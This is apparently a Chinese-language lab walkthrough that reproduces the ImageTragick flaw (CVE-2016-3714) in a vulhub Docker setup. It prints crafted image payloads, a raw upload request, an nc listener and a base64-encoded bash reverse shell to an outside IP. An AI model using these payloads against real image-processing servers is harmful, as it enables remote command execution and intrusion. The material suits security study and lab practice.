https://github.com/vulhub/vulhub/blob/master/imagemagick/imagetragick/README.zh-cn.md
详情见 https://imagetragick.com/
或https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为
cd /root/vulhub/imagemagick/imagetragick
搭建及运行漏洞环境:
docker-compose build && docker-compose up -d
用时:3分钟
环境启动后,访问http://your-ip/
可见有三个文件:
├── demo.php # 使用vul.jpg+identify命令测试
├── upload.php # 支持用户进行上传,并将上传的文件传入PHP的imagick扩展,触发漏洞
└── vul.jpg # 一个简单的POC
首先访问http://your-ip/demo.php
命令并没有回显,但在docker容器中,已经成功得到/tmp/success
文件:
docker-compose exec apache cat /tmp/success
以火狐浏览器FireFox为例,在选项
→常规
→网络设置
→设置
,将连接
中手动代理配置
的HTTP代理
,填写127.0.0.1
,端口为80
在Proxy
下Options
的Proxy Listeners
编辑监听端口为80
并将Proxy
下Intercept
点击成Intercept is on
再访问http://your-ip/upload.php
测试,上传POC文件
一些测试使用的POC:https://github.com/ImageTragick/PoCs
比如
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/joker.jpg"|curl "your-ip:4444)'
pop graphic-context
将POC代码保存为.jpg文件的POC文件
数据包如下(注意,我换了一个POC):
POST /upload.php HTTP/1.1
Host: your-ip
Content-Length: 321
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Content-Type: multipart/form-data; boundary=---------------------------293582696224464
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close
-----------------------------293582696224464
Content-Disposition: form-data; name="file_upload"; filename="CVE-2016-3714.jpg"
Content-Type: image/jpeg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/joker.jpg"|curl "【your-ip】:3333)'
pop graphic-context
-----------------------------293582696224464--
监听3333端口
nc -lvnp 3333
发现your-ip:3333
已经接收到http请求,【注意】修改IP,说明curl命令执行成功:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjM2LjEzOC84ODg5IDA+JjE | base64 -d | bash`"||id " )'
pop graphic-context
【注意】echo后是经过base64编码的/bin/bash -i >& /dev/tcp/192.168.236.138/8889 0>&1
,请根据自己的IP地址更换base64编码